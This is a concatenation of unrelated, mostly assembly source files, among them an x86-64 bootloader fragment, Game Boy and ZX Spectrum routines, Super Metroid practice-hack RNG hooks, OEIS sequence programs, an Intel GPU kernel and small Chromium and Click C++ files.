stosq ; call Show_Memory_Map ; ; Initialize the ELF interpreter. ; mov rsi, EL_ADDRESS mov rcx, [ElfoSize] call Elf_64_Entry jc Error mov [ElfoEntryPoint], rax ; Arguments in System V AMD64 ABI's C calling convention: ; RDI, RSI, RDX, RCX, R8, R9. ; ; Return value: ; RDX:RAX ; ; #define ACTUATOR_ARGUMENTS ; uint64_t options, ; uint64_t arg_1, uint64_t arg_2, ; uint64_t arg_3, uint64_t arg_4 ; ; Bootstrap the ELF interpreter and the memory manager. ; mov rdi, 1 ; options = ELFO_EXECUTE mov rsi, [Elfo_Execute_Options] ; Memo bootstrap options mov rdx, EL_ADDRESS mov rcx, MM_ADDRESS mov r8, MMAP_ADDRESS movzx r9, byte [RAM_Table_Entries] call [ElfoEntryPoint] mov [MemoEntryPoint], rax Halt: hlt jmp Halt Error: call Print call New_Line mov rsi, msgError call Print jmp Halt ; --------------------------------------------------------- ; ------- Show_Memory_Map: -- ; --------------------------------------------------------- Show_Memory_Map: mov esi, msgNumEntries call Print movzx rax, byte [RAM_Table_Entries] push rax call Print_DWORD call New_Line pop rcx ; Number of entries mov esi, MMAP_ADDRESS Show_Memory_Map.Loop: push rcx ; Print base address Call Colon lodsq call Print_QWORD ; Print length in bytes call Colon lodsq call Print_QWORD ; Print type call Colon lodsd call Print_DWORD call Colon call New_Line ; Retrieve ecx, and loop back. pop rcx loop Show_Memory_Map.Loop ret ; --------------------------------------------------------- ; ------- D a t o s -- ; --------------------------------------------------------- INITIAL_PML4 EQU 100000h INITIAL_PDPT EQU 101000h INITIAL_PD EQU 102000h INITIAL_PML4E EQU INITIAL_PDPT + 03bh INITIAL_PDPTE EQU INITIAL_PD + 03bh INITIAL_PDE EQU 0fbh NULL_SEGMENT EQU 0000h PM_CODE_SEGMENT EQU 0008h LM_CODE_SEGMENT EQU 0010h DATA_SEGMENT EQU 0018h TS_SEGMENT EQU 0020h INVALID_SEGMENT_1 EQU 0028h MM_ADDRESS EQU 020000h EL_ADDRESS EQU 030000h ; Memory Map Constants MMAP_ADDRESS EQU 500h MMAP_LENGTH EQU 100h MMAP_AVAILABLE EQU 1 MMAP_RESERVED EQU 2 MMAP_ACPI_RECLAIM EQU 3 MMAP_ACPI_NVS EQU 4 ; Addresses of APIC Memory-Mapped Registers APIC_ID EQU 0xfee00020 APIC_VERSION EQU 0xfee00030 MEMO_SS_BEGIN EQU 8000h MEMO_SS_END EQU 0c000h MEMO_SS_SIZE EQU (MEMO_SS_END - MEMO_SS_BEGIN) MEMO_SS_KILOS EQU (MEMO_SS_SIZE >> 10) MEMO_BS_SS_FIELD EQU ((MEMO_SS_KILOS << 24) | MEMO_SS_BEGIN) PDE_ADDRESS EQU 1008h ; Address of PDE ; Hacking in a 64-bit word in two 32-bit words. Little-endian. Elfo_Execute_Options dq ((MEMO_BS_SS_FIELD << 32) | 0ffffh) RAM_Size dq 0 ; Size of Physical Memory (in Bytes) align 16, db 0 GDTR dw 2fh dd GDT align 16, db 0 GDT dd 0, 0 ; dw 0 dd 0000ffffh, 00cf9f00h dd 0000ffffh, 00af9f00h dd 0000ffffh, 00cf9300h TSS_Descriptor dw 103,TSS, 8900h,0040h dq 0000000000000000h align 16, db 0 TSS times 100 db 0 TSS_Reserved dw 0 TSS_IO_Map_Address dw 800h align 16, db 0 PMInfoBlock dd 00h PMInfoBlock.Signature EQU 04h PMInfoBlock.EntryPoint EQU 06h PMInfoBlock.PMInitialize EQU 08h PMInfoBlock.BiosDataSel EQU 0ah PMInfoBlock.A0000Sel EQU 0ch PMInfoBlock.B0000Sel EQU 0eh PMInfoBlock.B8000Sel EQU 10h PMInfoBlock.CodeSegSel EQU 12h PMInfoBlock.InProtectMode EQU 14h PMInfoBlock.Checksum EQU 15h PMInfoBlock.Size EQU 16h Publics dq 0e00h PCI_Config_Address dd 0 PCI_Config_Data dd 0 msgPciConfigAddress db "PCI_CONFIG_ADDRESS: ", 0 msgPciConfigData db "PCI_CONFIG_DATA: ", 0 RAM_Table_Entries db 0 msgDot db 2eh, 0 msgStarting db "Starting.", 0 msgGettingMemoryMap db "Asking BIOS for memory map.", 0 msgNumEntries db "Number of Memory Map Entries: ", 0 msgBaseAddress db " Base Address = ", 0 msgLength db " Length = ", 0 msgTypeOfAddress db " Type of Address = ", 0 msgApicId db "APIC ID: ", 0 msgApicVersion db "APIC Version: ", 0 msgError db "Error!!!", 0 msgFoundVesaPmib db "Found VESA PM Info Block at ", 0 msgVesaPmibNotFound db "VESA PM Info Block not found!", 0 msgPMInfoBlockSignature db "Signature: ", 0 msgPMInfoBlockEntryPoint db "EntryPoint: ", 0 msgPMInfoBlockPMInitialize db "PMInitialize: ", 0 msgPMInfoBlockBiosDataSel db "BiosDataSel: ", 0 msgPMInfoBlockA0000Sel db "A0000Sel: ", 0 msgPMInfoBlockB0000Sel db "B0000Sel: ", 0 msgPMInfoBlockB8000Sel db "B8000Sel: ", 0 msgPMInfoBlockCodeSegSel db "CodeSegSel: ", 0 msgPMInfoBlockInProtectMode db "InProtectMode: ", 0 msgPMInfoBlockChecksum db "Checksum: ", 0 msgPMInfoBlockSize db "Size: ", 0 msgVbeInfoBlock db "VbeInfoBlockVbe", 0 msgVbeInfoBlockVbeSignature db "VbeInfoBlockVbeSignature: ", 0 msgVbeInfoBlockVbeVersion db "VbeInfoBlockVbeVersion: ", 0 msgVbeInfoBlockOemStringPtr db "VbeInfoBlockOemString: ", 0 msgVbeInfoBlockCapabilities db "VbeInfoBlockCapabilities: ", 0 msgVbeInfoBlockVideoModePtr db "VbeInfoBlockVideoModePtr: ", 0 msgVbeInfoBlockTotalMemory db "VbeInfoBlockTotalMemory: ", 0 msgVbeInfoBlockOemSoftwareRev db "VbeInfoBlockOemSoftware: ", 0 msgVbeInfoBlockOemVendorNamePtr db "VbeInfoBlockOemVendorName: ", 0 msgVbeInfoBlockOemProductNamePtr db "VbeInfoBlockOemProductName: ", 0 msgVbeInfoBlockOemProductRevPtr db "VbeInfoBlockOemProductRev: ", 0 msgGetVbeControllerInfoResult db "GetVbeControllerInfo result: ", 0 GetVbeControllerInfoResult dw 0ffffh msgRAX db "RAX: ", 0 VbeInfoBlock VbeInfoBlock.VbeSignature times 4 db 0 VbeInfoBlock.VbeVersion dw 0 VbeInfoBlock.OemStringPtr dd 0 VbeInfoBlock.Capabilities times 4 db 0 VbeInfoBlock.VideoModePtr dd 0 VbeInfoBlock.TotalMemory dw 0 VbeInfoBlock.OemSoftwareRev dw 0 VbeInfoBlock.OemVendorNamePtr dd 0 VbeInfoBlock.OemProductNamePtr dd 0 VbeInfoBlock.OemProductRevPtr dd 0 VbeInfoBlock.Reserved times 222 db 0 VbeInfoBlock.OemData times 256 dw 0 VbeInfoBlock.Size EQU($ - VbeInfoBlock) ; Contains pages for first 512 KiB. Indicates regions that have been used ; for system data or functions. OriginalMemoryBitmap dd 0, 0, 0, 0 ; 4 * 32 * 4906 fnGetFile dd 0 fnStart dd 0 ElfoEntryPoint dq 0 MemoEntryPoint dq 0 ElfoSize dq 0 MemoSize dq 0 Elfo db "ELFO " Memo db "MEMO "
db 0 ; species ID placeholder db 65, 60, 70, 40, 85, 75 ; hp atk def spd sat sdf db NORMAL, NORMAL ; type db 45 ; catch rate db 130 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_UNKNOWN ; gender ratio db 20 ; step cycles to hatch INCBIN "gfx/pokemon/porygon/front.dimensions" db GROWTH_MEDIUM_FAST ; growth rate dn EGG_MINERAL, EGG_MINERAL ; egg groups db 70 ; happiness ; tm/hm learnset tmhm TOXIC, HIDDEN_POWER, SUNNY_DAY, ICE_BEAM, BLIZZARD, HYPER_BEAM, PROTECT, RAIN_DANCE, FRUSTRATION, SOLARBEAM, IRON_TAIL, THUNDERBOLT, THUNDER, RETURN, PSYCHIC_M, SHADOW_BALL, DOUBLE_TEAM, SHOCK_WAVE, AERIAL_ACE, FACADE, SECRET_POWER, REST, THIEF, CHARGE_BEAM, ENDURE, RECYCLE, GIGA_IMPACT, FLASH, THUNDER_WAVE, PSYCH_UP, SLEEP_TALK, NATURAL_GIFT, DREAM_EATER, SWAGGER, SUBSTITUTE, TRICK_ROOM, ICY_WIND, LAST_RESORT, SIGNAL_BEAM, SNORE, SWIFT, TRICK, ZEN_HEADBUTT ; end
// init @256 D=A @R0 M=D // push constant 7 @7 D=A @SP A=M M=D @SP M=M+1 // push constant 8 @8 D=A @SP A=M M=D @SP M=M+1 // add @SP M=M-1 @SP A=M D=M @SP M=M-1 @SP A=M A=M D=D+A @SP A=M M=D @SP M=M+1
MVI B, 77 ; B=77 MVI C, 82 ; C=82 CALL MULT ; HL=B*C HLT MULT: LXI H, 0 ; HL=0 MOV E, B ; DE=B LOOP: DAD D ; HL+=DE DCR C ; C-=1 JNZ LOOP ; 0 değilse atla RET ; B ve C deki iki sayıyı çarpar, sonucu HL de tutar
; A021876: Decimal expansion of 1/872. ; Submitted by Jon Maiga ; 0,0,1,1,4,6,7,8,8,9,9,0,8,2,5,6,8,8,0,7,3,3,9,4,4,9,5,4,1,2,8,4,4,0,3,6,6,9,7,2,4,7,7,0,6,4,2,2,0,1,8,3,4,8,6,2,3,8,5,3,2,1,1,0,0,9,1,7,4,3,1,1,9,2,6,6,0,5,5,0,4,5,8,7,1,5,5,9,6,3,3,0,2,7,5,2,2,9,3 seq $0,199685 ; a(n) = 5*10^n+1. div $0,436 mod $0,10
; Phantoon hijacks { ; 1st pattern org $A7D5B5 ; $A7:D5B5 22 11 81 80 JSL $808111[$80:8111] JSL hook_phantoon_1st_dir_rng org $A7D5A6 ; $A7:D5A6 AD B6 05 LDA $05B6 [$7E:05B6] ; Frame counter ; $A7:D5A9 4A LSR A JSL hook_phantoon_1st_pat ; 2nd pattern org $A7D6E2 ; $A7:D6E2 22 11 81 80 JSL $808111[$80:8111] JSL hook_phantoon_2nd_dir_rng org $A7D08B ; $A7:D08B AD B6 05 LDA $05B6 [$7E:05B6] ; Frame counter ; $A7:D08E 89 01 00 BIT #$0001 JSL hook_phantoon_2nd_dir_2 NOP : NOP org $A7D07C ; hijack, RNG call for second pattern ; $A7:D07C 22 11 81 80 JSL $808111[$80:8111] JSL hook_phantoon_2nd_pat } ; Botwoon hijacks { org $B39943 ; $B3:9943 22 11 81 80 JSL $808111[$80:8111] JSL hook_botwoon_rng } ; "Set rng" hijacks { ; $A3:AB0C A9 25 00 LDA #$0025 ; $A3:AB0F 8D E5 05 STA $05E5 [$7E:05E5] ; $A3:AB12 22 11 81 80 JSL $808111[$80:8111] org $A3AB12 JSL hook_hopper_set_rng ; $A2:B588 A9 11 00 LDA #$0011 ; $A2:B58B 8D E5 05 STA $05E5 [$7E:05E5] org $A2B588 JSL hook_lavarocks_set_rng NOP #2 ; $A8:B798 A9 17 00 LDA #$0017 ; $A8:B79B 8D E5 05 STA $05E5 [$7E:05E5] org $A8B798 JSL hook_beetom_set_rng NOP #2 } ; Hooks org $83B000 print pc, " rng start" hook_hopper_set_rng: LDA #$0001 : STA !ram_room_has_set_rng JML $808111 hook_lavarocks_set_rng: LDA #$0001 : STA !ram_room_has_set_rng LDA #$0011 STA $05E5 RTL hook_beetom_set_rng: LDA #$0001 : STA !ram_room_has_set_rng LDA #$0017 STA $05E5 RTL hook_phantoon_1st_dir_rng: JSL $808111 ; Trying to preserve the number of RNG calls being done in the frame LDA !ram_phantoon_rng_1 : BEQ .no_manip PHX : TAX : LDA.l phantoon_dirs,X : PLX : AND #$00FF RTL .no_manip LDA $05E5 RTL hook_phantoon_1st_pat: LDA !ram_phantoon_rng_1 : BEQ .no_manip PHX : TAX : LDA.l phantoon_pats,X : PLX : AND #$00FF RTL .no_manip LDA $05B6 : LSR A RTL hook_phantoon_2nd_dir_rng: JSL $808111 ; Trying to preserve the number of RNG calls being done in the frame LDA !ram_phantoon_rng_2 : BEQ .no_manip PHX : TAX : LDA.l phantoon_dirs,X : PLX : AND #$00FF EOR #$0001 RTL .no_manip LDA $05E5 RTL hook_phantoon_2nd_dir_2: LDA !ram_phantoon_rng_2 : BEQ .no_manip ; I don't quite understand this part, but it works ¯\_(ツ)_/¯ LDA #$0001 BIT #$0001 RTL .no_manip LDA $05B6 : BIT #$0001 RTL hook_phantoon_2nd_pat: JSL $808111 ; Trying to preserve the number of RNG calls being done in the frame LDA !ram_phantoon_rng_2 : BEQ .no_manip PHX : TAX : LDA.l phantoon_pats,X : PLX : AND #$00FF RTL .no_manip LDA $05E5 RTL hook_botwoon_rng: JSL $808111 ; Trying to preserve the number of RNG calls being done in the frame LDA !ram_botwoon_rng : BEQ .no_manip DEC : ASL #3 RTL .no_manip LDA $05E5 RTL phantoon_dirs: db $FF db $01, $01, $01 db $00, $00, $00 phantoon_pats: db $FF db $01, $02, $03 db $01, $02, $03 print pc, " rng end"
; ; fdgetpos: forget it ! ; ; Stefano - 5/7/2006 ; ; ; $Id: fdgetpos.asm,v 1.3 2016/06/23 20:40:25 dom Exp $ SECTION code_clib PUBLIC fdgetpos PUBLIC _fdgetpos .fdgetpos ._fdgetpos ld hl,-1 ret
INCLUDE "src/include/hardware.inc" SECTION "TitleScreen", ROM0 ;-Entry-------------------------------------------------------- TitleScreen:: ;---------------------------------------------------TitleScreen xor a ld [rBGP], a call initWRAM0 ld hl, SpritesData ld de, ArrowsData ld bc, 160 call loadMemory call copyTitleScreen call waitForVBlank ld a, %10010001 ld [rLCDC], a ld a, %11100100 ld [rBGP], a xor a ld [wJoypadState], a ld [wJoypadPressed], a .loop call waitForVBlank call updateJoypadState ld a, [wJoypadPressed] and a, PADF_START jr z, .loop call waitForVBlank xor a ld [Gamemode], a ld hl, $8AF0 ld de, TitleOptionsTiles ld bc, TitleOptionsTiles + 16*26 call loadMemorySTAT .chooseGamemode ld a, [GenerationSeed] inc a ld [GenerationSeed], a call updateJoypadState call SetGamemode ld a, [wJoypadPressed] and a, PADF_A jr z, .chooseGamemode call loadCubeState0 call refreshBshSlots_Cube0 ld a, [Gamemode] cp 0 ; Normal jr nz, .fin call shuffle call refreshBshSlots_Cube0 .fin: ; create CubeState backup ld hl, CubeStateBackup ld de, CubeState ld bc, 54 call loadMemory ld a, %00000000 ld [rBGP], a call waitForVBlank call clearVRAM jp Start ;---------------------------------------------------TitleScreen ;-Func-------------------------------------------------------- SetGamemode: ;--------------------------------------------------SetGamemode ld a, [wJoypadPressed] and a, PADF_UP jr nz, .upPressed ld a, [wJoypadPressed] and a, PADF_DOWN jr nz, .downPressed ret z .upPressed: ld a, [Gamemode] dec a and 1 jr .fin .downPressed: ld a, [Gamemode] inc a and 1 .fin: ld [Gamemode], a cp a, 0 jr z, .setNormal cp a, 1 jr z, .setFreeStyle .setNormal: ld hl, $8AF0 ld de, TitleOptionsTiles ld bc, TitleOptionsTiles + 16*26 call loadMemorySTAT ret .setFreeStyle: ld hl, $8AF0 ld de, TitleOptionsTiles + 16*26 ld bc, TitleOptionsTiles + 2*16*26 call loadMemorySTAT ret ;--------------------------------------------------SetGamemode ;-Func-------------------------------------------------------- copyTitleScreen: ;----------------------------------------------copyTitleScreen ; copy digital tilemap to VRAM ld hl, $8000 ld de, TitleScreenTiles ld bc, TitleScreenTilesEnd;-TitleScreenTiles call loadMemorySTAT ld hl, $9800 ld de, TitleScreenTileMap ld bc, TitleScreenTileMap + 18*32 call loadMemorySTAT ret ;----------------------------------------------copyTitleScreen ;-Func-------------------------------------------------------- shuffle: ;------------------------------------------------------shuffle ld e, 50 ld a, [GenerationSeed] .loop: add a, 27 ld d, a push de ld a, d and %0011100 srl a srl a cp 0 push af call z, moveML pop af cp 1 push af call z, moveHR pop af cp 2 push af call z, moveHL1 pop af cp 3 push af call z, moveMR pop af cp 4 push af call z, moveHL2 pop af cp 5 push af call z, moveHR2 pop af cp 6 push af call z, moveHL pop af cp 7 push af call z, moveHR1 pop af .skipH pop de ld a, e dec a or a ld e, a ld a, d jr nz, .loop ret ;------------------------------------------------------shuffle
/* * Copyright (c) 2017, Intel Corporation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ L0: mov (8|M0) acc0.0<1>:w 0x24060000:v add (8|M0) acc0.0<1>:w acc0.0<8;8,1>:w 0x1C:uw shl (4|M0) r22.4<1>:w acc0.4<4;4,1>:w 0x5:uw mov (1|M0) r22.14<1>:uw 0xFF80:uw mov (1|M0) f0.0<1>:uw r24.0<0;1,0>:ub (W&~f0.0)jmpi L1632 L96: mov (8|M0) acc0.0<1>:f r26.2<0;1,0>:f mac (1|M0) r23.3<1>:f r26.4<0;1,0>:f 7.0:f mov (4|M0) r10.0<1>:f 0x48403000:vf mov (4|M0) r10.4<1>:f 0x5C585450:vf mov (8|M0) r13.0<1>:ud r0.0<8;8,1>:ud mov (2|M0) r13.0<1>:ud 0x0:ud mov (1|M0) r13.2<1>:ud 0xE000:ud add (1|M0) a0.0<1>:ud r24.5<0;1,0>:ud 0xA2C0100:ud mov (8|M0) acc0.0<1>:f r26.3<0;1,0>:f mac (8|M0) r16.0<1>:f r26.5<0;1,0>:f r10.0<8;8,1>:f mac (8|M0) r17.0<1>:f r26.5<0;1,0>:f r10.0<8;8,1>:f mov (8|M0) acc0.0<1>:f r23.3<0;1,0>:f mac (8|M0) r14.0<1>:f r26.4<0;1,0>:f r10.0<0;1,0>:f mul (8|M0) acc0.0<1>:f r26.4<0;1,0>:f -1.0:f add (8|M0) r15.0<1>:f acc0.0<8;8,1>:f r14.0<8;8,1>:f send (16|M0) r37:uw r13:ub 0x2 a0.0 add (1|M0) a0.0<1>:ud r24.5<0;1,0>:ud 0xA4C0201:ud mov (1|M0) r13.2<1>:ud 0x5000:ud send (16|M0) r41:uw r13:ub 0x2 a0.0 mul (8|M0) acc0.0<1>:f r26.4<0;1,0>:f -2.0:f add (8|M0) r14.0<1>:f acc0.0<8;8,1>:f r14.0<8;8,1>:f add (8|M0) r15.0<1>:f acc0.0<8;8,1>:f r15.0<8;8,1>:f mul (16|M0) acc0.0<1>:f r37.0<8;8,1>:f 65280.0:f mov (16|M0) (sat)r28.0<1>:ud acc0.0<8;8,1>:f mul (16|M0) acc0.0<1>:f r41.0<8;8,1>:f 65280.0:f mov (16|M0) (sat)r32.0<1>:ud acc0.0<8;8,1>:f mul (16|M0) acc0.0<1>:f r43.0<8;8,1>:f 65280.0:f mov (16|M0) (sat)r34.0<1>:ud acc0.0<8;8,1>:f mov (16|M0) r28.0<1>:uw r28.0<16;8,2>:uw mov (16|M0) r32.0<1>:uw r32.0<16;8,2>:uw mov (16|M0) r34.0<1>:uw r34.0<16;8,2>:uw add (1|M0) a0.0<1>:ud r24.5<0;1,0>:ud 0xA2C0100:ud mov (1|M0) r13.2<1>:ud 0xE000:ud send (16|M0) r37:uw r13:ub 0x2 a0.0 add (1|M0) a0.0<1>:ud r24.5<0;1,0>:ud 0xA4C0201:ud mov (1|M0) r13.2<1>:ud 0x5000:ud send (16|M0) r39:uw r13:ub 0x2 a0.0 mul (8|M0) acc0.0<1>:f r26.5<0;1,0>:f 8.0:f add (8|M0) r16.0<1>:f acc0.0<8;8,1>:f r16.0<8;8,1>:f add (8|M0) r17.0<1>:f acc0.0<8;8,1>:f r17.0<8;8,1>:f mul (8|M0) acc0.0<1>:f r26.4<0;1,0>:f 2.0:f add (8|M0) r14.0<1>:f acc0.0<8;8,1>:f r14.0<8;8,1>:f add (8|M0) r15.0<1>:f acc0.0<8;8,1>:f r15.0<8;8,1>:f mul (16|M0) acc0.0<1>:f r37.0<8;8,1>:f 65280.0:f mov (16|M0) (sat)r37.0<1>:ud acc0.0<8;8,1>:f mul (16|M0) acc0.0<1>:f r39.0<8;8,1>:f 65280.0:f mov (16|M0) (sat)r39.0<1>:ud acc0.0<8;8,1>:f mul (16|M0) acc0.0<1>:f r41.0<8;8,1>:f 65280.0:f mov (16|M0) (sat)r41.0<1>:ud acc0.0<8;8,1>:f mov (16|M0) r29.0<1>:uw r37.0<16;8,2>:uw mov (16|M0) r33.0<1>:uw r39.0<16;8,2>:uw mov (16|M0) r35.0<1>:uw r41.0<16;8,2>:uw add (1|M0) a0.0<1>:ud r24.5<0;1,0>:ud 0xA2C0100:ud mov (1|M0) r13.2<1>:ud 0xE000:ud send (16|M0) r37:uw r13:ub 0x2 a0.0 add (1|M0) a0.0<1>:ud r24.5<0;1,0>:ud 0xA4C0201:ud mov (1|M0) r13.2<1>:ud 0x5000:ud send (16|M0) r41:uw r13:ub 0x2 a0.0 mul (8|M0) acc0.0<1>:f r26.4<0;1,0>:f -2.0:f add (8|M0) r14.0<1>:f acc0.0<8;8,1>:f r14.0<8;8,1>:f add (8|M0) r15.0<1>:f acc0.0<8;8,1>:f r15.0<8;8,1>:f mul (16|M0) acc0.0<1>:f r37.0<8;8,1>:f 65280.0:f mov (16|M0) (sat)r37.0<1>:ud acc0.0<8;8,1>:f mul (16|M0) acc0.0<1>:f r41.0<8;8,1>:f 65280.0:f mov (16|M0) (sat)r41.0<1>:ud acc0.0<8;8,1>:f mul (16|M0) acc0.0<1>:f r43.0<8;8,1>:f 65280.0:f mov (16|M0) (sat)r43.0<1>:ud acc0.0<8;8,1>:f mov (16|M0) r10.0<1>:uw r37.0<16;8,2>:uw mov (16|M0) r11.0<1>:uw r41.0<16;8,2>:uw mov (16|M0) r12.0<1>:uw r43.0<16;8,2>:uw add (1|M0) a0.0<1>:ud r24.5<0;1,0>:ud 0xA2C0100:ud mov (1|M0) r13.2<1>:ud 0xE000:ud send (16|M0) r37:uw r13:ub 0x2 a0.0 add (1|M0) a0.0<1>:ud r24.5<0;1,0>:ud 0xA4C0201:ud mov (1|M0) r13.2<1>:ud 0x5000:ud send (16|M0) r41:uw r13:ub 0x2 a0.0 mul (16|M0) acc0.0<1>:f r37.0<8;8,1>:f 65280.0:f mov (16|M0) (sat)r37.0<1>:ud acc0.0<8;8,1>:f mul (16|M0) acc0.0<1>:f r41.0<8;8,1>:f 65280.0:f mov (16|M0) (sat)r41.0<1>:ud acc0.0<8;8,1>:f mul (16|M0) acc0.0<1>:f r43.0<8;8,1>:f 65280.0:f mov (16|M0) (sat)r43.0<1>:ud acc0.0<8;8,1>:f mov (16|M0) r38.0<1>:uw r37.0<16;8,2>:uw mov (16|M0) r42.0<1>:uw r41.0<16;8,2>:uw mov (16|M0) r44.0<1>:uw r43.0<16;8,2>:uw mov (16|M0) r37.0<1>:uw r10.0<16;16,1>:uw mov (16|M0) r41.0<1>:uw r11.0<16;16,1>:uw mov (16|M0) r43.0<1>:uw r12.0<16;16,1>:uw mov (16|M0) r30.0<1>:uw 0xFFFF:uw mov (16|M0) r31.0<1>:uw 0xFFFF:uw mov (16|M0) r39.0<1>:uw 0xFFFF:uw mov (16|M0) r40.0<1>:uw 0xFFFF:uw mov (1|M0) a0.8<1>:uw 0x380:uw mov (1|M0) a0.9<1>:uw 0x400:uw mov (1|M0) a0.10<1>:uw 0x440:uw add (4|M0) a0.12<1>:uw a0.8<4;4,1>:uw 0x120:uw L1632: nop
// Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "third_party/blink/renderer/core/layout/ng/ng_break_token.h" #include "third_party/blink/renderer/core/layout/ng/ng_block_break_token.h" #include "third_party/blink/renderer/platform/wtf/size_assertions.h" #include "third_party/blink/renderer/platform/wtf/text/string_builder.h" namespace blink { namespace { struct SameSizeAsNGBreakToken : GarbageCollected<NGBreakToken> { virtual ~SameSizeAsNGBreakToken() = default; Member<void*> member; unsigned flags; }; ASSERT_SIZE(NGBreakToken, SameSizeAsNGBreakToken); } // namespace #if DCHECK_IS_ON() namespace { void AppendBreakTokenToString(const NGBreakToken* token, StringBuilder* string_builder, unsigned indent = 2) { if (!token) return; DCHECK(string_builder); for (unsigned i = 0; i < indent; i++) string_builder->Append(" "); string_builder->Append(token->ToString()); string_builder->Append("\n"); if (auto* block_break_token = DynamicTo<NGBlockBreakToken>(token)) { const auto children = block_break_token->ChildBreakTokens(); for (const auto& child : children) AppendBreakTokenToString(child, string_builder, indent + 2); } } } // namespace String NGBreakToken::ToString() const { StringBuilder string_builder; string_builder.Append("("); string_builder.Append(InputNode().ToString()); string_builder.Append(")"); return string_builder.ToString(); } void NGBreakToken::ShowBreakTokenTree() const { StringBuilder string_builder; string_builder.Append(".:: LayoutNG Break Token Tree ::.\n"); AppendBreakTokenToString(this, &string_builder); fprintf(stderr, "%s\n", string_builder.ToString().Utf8().c_str()); } #endif // DCHECK_IS_ON() void NGBreakToken::Trace(Visitor* visitor) const { visitor->Trace(box_); } } // namespace blink
#ifndef CPUSWITCH_HH #define CPUSWITCH_HH #include <click/batchelement.hh> CLICK_DECLS /* * =c * CPUSwitch() * =s threads * classifies packets by cpu * =d * Can have any number of outputs. * Chooses the output on which to emit each packet based on the thread's cpu. * =a * RoundRobinSwitch, StrideSwitch, HashSwitch */ class CPUSwitch : public BatchElement { public: CPUSwitch() CLICK_COLD; ~CPUSwitch() CLICK_COLD; const char *class_name() const override { return "CPUSwitch"; } const char *port_count() const override { return "1/1-"; } const char *processing() const override { return PUSH; } bool get_spawning_threads(Bitvector& b, bool, int port) override; void push(int port, Packet *); #if HAVE_BATCH void push_batch(int port, PacketBatch *); #endif }; CLICK_ENDDECLS #endif
; A289764: Decimal representation of the diagonal from the corner to the origin of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 597", based on the 5-celled von Neumann neighborhood. ; Submitted by Jon Maiga ; 1,2,6,13,29,58,122,245,501,1002,2026,4053,8149,16298,32682,65365,130901,261802,523946,1047893,2096469,4192938,8387242,16774485,33551701,67103402,134212266,268424533,536859989,1073719978,2147461802,4294923605,8589890901,17179781802,34359650986,68719301973,137438778709,274877557418,549755464362,1099510928725,2199022556501,4398045113002,8796091624106,17592183248213,35184369292629,70368738585258,140737482762922,281474965525845,562949942236501,1125899884473002,2251799791315626,4503599582631253 seq $0,135098 ; First differences of A135094. mul $0,4 sub $0,4 div $0,3 add $0,1
// ============================================================================ // Instructions not yet implemented in hardware, but will be in near future // ============================================================================ // Multiply MACRO MUL ( _rX_, _rY_, _imm_ ) ... ENDMACRO // Divide MACRO DIV ( _rX_, _rY_, _imm_ ) ... ENDMACRO // ============================================================================ // Common instructions not implemented in hardware, with no plans of doing so // ============================================================================ // Increment register MACRO INC ( _rX_ ) ADD _rX_ r0 1 ENDMACRO // Decrement register MACRO INC ( _rX_ ) SUB _rX_ r0 1 ENDMACRO // Square root MACRO SQRT ( _rX_ ) ... ENDMACRO // Rotatate right MACRO ROR ( _rX_ ) ... ENDMACRO // double word (32bit) arithmetic...? ex. increment, add
; DRAW LOAD SPRITE 1 BYTE DEFINITION ROTATED, ON LEFT BORDER ; 01.2006 aralbrec, Sprite Pack v3.0 ; sinclair spectrum version INCLUDE "config_private.inc" SECTION code_clib SECTION code_temp_sp1 PUBLIC _SP1_DRAW_LOAD1LB EXTERN _SP1_DRAW_LOAD1NR EXTERN SP1RETSPRDRAW ; following data segment copied into struct sp1_cs ld hl,0 nop ld de,0 call _SP1_DRAW_LOAD1LB ; following draw code called by way of SP1UpdateNow ; ; a = hor rot table ; bc = graphic disp ; hl = graphic def ptr ; de = left graphic def ptr ; ; 32 + 33*8 - 6 + 10 = 300 cycles _SP1_DRAW_LOAD1LB: cp SP1V_ROTTBL/256 jp z, _SP1_DRAW_LOAD1NR add hl,bc ld d,a ; d = shift table ; hl = sprite def (graph only) _SP1Load1LBRotate: ; 0 ld e,(hl) inc hl ld a,(de) ld (SP1V_PIXELBUFFER+0),a ; 1 ld e,(hl) inc hl ld a,(de) ld (SP1V_PIXELBUFFER+1),a ; 2 ld e,(hl) inc hl ld a,(de) ld (SP1V_PIXELBUFFER+2),a ; 3 ld e,(hl) inc hl ld a,(de) ld (SP1V_PIXELBUFFER+3),a ; 4 ld e,(hl) inc hl ld a,(de) ld (SP1V_PIXELBUFFER+4),a ; 5 ld e,(hl) inc hl ld a,(de) ld (SP1V_PIXELBUFFER+5),a ; 6 ld e,(hl) inc hl ld a,(de) ld (SP1V_PIXELBUFFER+6),a ; 7 ld e,(hl) ld a,(de) ld (SP1V_PIXELBUFFER+7),a jp SP1RETSPRDRAW
SECTION code_fp_math48 PUBLIC am48_dge EXTERN am48_dcmp, error_oc, error_znc am48_dge: ; Return bool (AC >= AC') ; ; enter : AC'= double y ; AC = double x ; ; exit : HL = 0 and carry reset if false ; HL = 1 and carry set if true ; ; uses : af, hl call am48_dcmp jp nc, error_oc ; if x >= y true jp error_znc
